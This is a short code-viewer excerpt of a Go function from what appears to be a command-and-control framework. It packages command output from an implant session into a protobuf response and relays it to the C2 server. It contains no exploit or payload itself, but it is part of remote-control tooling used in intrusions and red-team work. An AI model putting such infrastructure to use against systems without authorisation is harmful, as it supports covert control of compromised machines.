sendExecResponse sends a simple ExecResponse back to the C2 server.
(sessionID string, taskID uint32, message string)
| 67 | |
| 68 | // sendExecResponse sends a simple ExecResponse back to the C2 server. |
| 69 | func (b *Bridge) sendExecResponse(sessionID string, taskID uint32, message string) { |
| 70 | spite := &implantpb.Spite{ |
| 71 | Name: consts.ModuleExecute, |
| 72 | Body: &implantpb.Spite_ExecResponse{ |
| 73 | ExecResponse: &implantpb.ExecResponse{ |
| 74 | Stdout: []byte(message), |
| 75 | End: true, |
| 76 | }, |
| 77 | }, |
| 78 | } |
| 79 | if err := b.sendSpite(&clientpb.SpiteResponse{ |
| 80 | ListenerId: b.listenerID, |
| 81 | SessionId: sessionID, |
| 82 | TaskId: taskID, |
| 83 | Spite: spite, |
| 84 | }); err != nil { |
| 85 | log.Errorf("[bridge] failed to send exec response for session %s: %v", sessionID, err) |
| 86 | } |
| 87 | } |
| 88 | |
| 89 | // extractPlainOutput extracts the actual output from tool result text, |
| 90 | // stripping metadata like "Exit code:", "Wall time:", "Output:" wrappers. |
no test coverage detected